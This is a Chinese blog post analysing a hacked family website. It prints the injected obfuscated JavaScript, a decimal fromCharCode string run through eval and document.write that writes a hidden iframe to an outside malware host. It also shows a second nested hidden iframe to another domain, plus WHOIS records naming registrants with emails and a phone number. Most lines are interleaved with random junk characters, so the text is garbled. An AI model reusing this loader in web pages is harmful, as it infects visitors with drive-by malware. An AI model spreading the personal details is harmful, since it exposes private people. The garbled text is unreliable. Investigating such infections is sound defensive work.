首发在我的博客里面，
\l]jX:
9( $ ?'z%a{ http://www.areway.cn/?p=175 "E'OP R Xbap' /t
v#nFPB=z 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
[ u-~<80 "5>p]u> <script>t=’60,105,102,114,97,109,101,
v3hNvcMpf 32,115,114,99,61,104,116,116,112,58,47,47,
*1>XlVx, 102,114,101,101,46,117,45,117,117,117,46,99,
@9QHv 110,47,101,114,114,111,114,46,104,116,109,
%r|fuwwJO 32,119,105,100,116,104,61,49,48,48,32,104,
`N|WCiBV. 101,105,103,104,116,61,48,62,60,47,105,102,
OCR x| 114,97,109,101,62′;
S"}FsS;k<? t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
vK$T$SL JBg",2w |C <script>t=’60,105,102,114,97,109,101,32,115,
%3kqBH!d 114,99,61,104,116,116,112,58,47,47,102,114,
fTH?t_e 101,101,46,117,45,117,117,117,46,99,110,47,
[#)$BXG~y 101,114,114,111,114,46,104,116,109,32,119,
#xts*{u-# 105,100,116,104,61,49,48,48,32,104,101,105,
lffw7T~ 103,104,116,61,48,62,60,47,105,102,114,97,
Pp26UW W 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
!H.&" ~w@ document.write(t);</script>
IO fo]p- ~v<r\8`OI2 <html xmlns=”
Nf$Y-v?i http://www.w3.org/1999/xhtml tf dP#1E “>
-EITz <head>
rl6vt*g <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
VT+GmS <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
i{ %~&! <title>首页 - 爱生活家庭网
f\|33)k GR|Vwxs<@P 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
p 6jR,m8S 转换字符串后的大概内容是（谁点击后果自付）：
M/B_-8B_D <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
D0-C:gz Q}]Q0'X8 查询玉米u-uuu.cn的详细信息：
=3 & WH0 Domain Name: u-uuu.cn
w8@ Ok_fj ROID: 20070901s10001s64972306-cn
_c %~\LOk Domain Status: ok
g fO.Ky6 Registrant Organization: 王雷
U);
,Opr Registrant Name: 王雷
/e\}
qq Administrative Email:
czlovexs@126.com 6, oi(RAf Sponsoring Registrar: 北京万网志成科技有限公司
a2x2N_\=/D Name Server:ns.yovole.com
ayC* n' Name Server:ns1.yovole.com
;/e! !P]jP Registration Date: 2007-09-01 17:54
A03PE aZ O Expiration Date: 2008-09-01 17:54
*rW] HN z 最后PING了一下地址 都没有什么….
ko ~iDT )Hw;{5p@ 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
[q_Yf!(m- <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
~6@~fhu <script language=”javascript” src=”
`~*qjA http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script `uGX/yQ#= >
#%+IU 这个玉米应该有可能是木马作者的：
9]hc{\ foafau.info的详细信息：
#H5*]"w6I Access to INFO WHOIS information is provided to assist persons in
c) 1m4SB@ determining the contents of a domain name registration record in the
! 4i Afilias registry database. The data in this record is provided by
yqCy`TK8 Afilias Limited for informational purposes only, and Afilias does not
y.mojx%?a guarantee its accuracy. This service is intended only for query-based
W+1V&a}E access. You agree that you will use this data only for lawful purposes
S0"O U0`N and that, under no circumstances will you use this data to: (a) allow,
ts)0+x enable, or otherwise support the transmission by e-mail, telephone, or
:X@;XEol~ facsimile of mass unsolicited, commercial advertising or solicitations
"I_3!Yu to entities other than the data recipient’s own existing customers; or
\ `4}h[ (b) enable high volume, automated, electronic processes that send
DY,Sfh;tp queries or data to the systems of Registry Operator, a Registrar, or
nA+[[(6 Afilias except as reasonably necessary to register domain names or
S:
/ShT modify existing registrations. All rights reserved. Afilias reserves
9}3W0F; the right to modify these terms at any time. By submitting this query,
/$ L;m you agree to abide by this policy.
`[Lap=.' . Domain ID:D22418703-LRMS
- 4X,x Domain Name:FOAFAU.INFO
v "oO
Created On:20-Nov-2007 16:05:42 UTC
J!S3pS5j Last Updated On:20-Nov-2007 16:05:44 UTC
YS~\Gls% Expiration Date:20-Nov-2008 16:05:42 UTC
7b
Gzun& Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
.R:eN&Y 8y Status:CLIENT DELETE PROHIBITED
U6_1L,W Status:CLIENT RENEW PROHIBITED
r+
vtKb Status:CLIENT TRANSFER PROHIBITED
ir/ 2/
E Status:CLIENT UPDATE PROHIBITED
~\XB' Status:TRANSFER PROHIBITED
- FE) Registrant ID:GODA-040110615
)5]z[sE Registrant Name:liu hong
I, ?bZ&@8 Registrant Organization:
}eB\k,7L Registrant Street1:beijing
i?|K+ "=D Registrant Street2:
g R1X@j$_ Registrant Street3:
+n)(\k{ Registrant City:beijing
i 0L7`TB Registrant State/Province:
Zwq
u S9 Registrant Postal Code:100000
8l)l9;4 6 Registrant Country:CN
b8QW^Z Registrant Phone:+86.860108888777
E 8IWHh_ Registrant Phone Ext.:
$\a;?>WA" Registrant FAX:
Bt.W_p Registrant FAX Ext.:
=U@*adgw Registrant Email:bbbshiji@163.com
q9Fc0(&Vf Admin ID:GODA-240110615
")Bf^DV Admin Name:liu hong
}rGDM Admin Organization:
]`u{ ^f
Admin Street1:beijing
FeCQGT Admin Street2:
K$(U>D| Admin Street3:
vtr:{ Admin City:beijing
vqL{ ~tR Admin State/Province:
sW=@G'}3 Admin Postal Code:100000
n Pv2: x Admin Country:CN
'^P
Ud` Admin Phone:+86.860108888777
w*bVBuX s Admin Phone Ext.:
0<i~XN0g Admin FAX:
o AQ92~b Admin FAX Ext.:
=OjzBiHR Admin Email:bbbshiji@163.com
/=Xen
mmS Billing ID:GODA-340110615
+mxs jcq0 Billing Name:liu hong
"~FXmKcX Billing Organization:
cYGZZC8 |K Billing Street1:beijing
+>I4@1qC-| Billing Street2:
2c+q~8Jv Billing Street3:
Y! Z@1V` Billing City:beijing
|y=CmNG , Billing State/Province:
TF3Tha] Billing Postal Code:100000
OFUN hbg Billing Country:CN
{5_*f)$[H Billing Phone:+86.860108888777
EBebyQcon Billing Phone Ext.:
)8 iDjNM < Billing FAX:
iJsw:Nc Billing FAX Ext.:
h` n>6I Billing Email:bbbshiji@163.com
KY_qK)H Tech ID:GODA-140110615
.h*&$c/l Tech Name:liu hong
` D4J9;|;] Tech Organization:
SX
F F Tech Street1:beijing
<v{jJ7w Tech Street2:
6tnAE': Tech Street3:
OTV)#,occ Tech City:beijing
:I&iDS>u1 Tech State/Province:
/CZOO)n Tech Postal Code:100000
sRoZvp 5 Tech Country:CN
t+h"Y iT Tech Phone:+86.860108888777
J(l6(+8 Tech Phone Ext.:
+)7NWR\ Tech FAX:
{0QA+[Yd&! Tech FAX Ext.:
WG^D$L : Tech Email:bbbshiji@163.com
Y ,}p Name Server:NS27.DOMAINCONTROL.COM
yp :yS Name Server:NS28.DOMAINCONTROL.COM
"4r5 n8 Name Server:
fSun{?{ Name Server:
|-e=P9, Name Server:
iP_rEi*-J Name Server:
VD=$:F] Name Server:
*w%;$\^ Name Server:
4&&j7$ aV Name Server:
c 9ghR0WM Name Server:
xw?G?(WO Name Server:
=jG3 wf* Name Server:
|E?%Cj^W Name Server:
neZ_TT/3K )p !dql K 接着下载每个文件里面的代码：
es LY1c%"/ 一步一步看..
#}jf TM 
#b8/gRfS 
t@4vEKw?.X 
C{>?~@z&5 
TbX ZU$[c 
zZE?G:isR 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
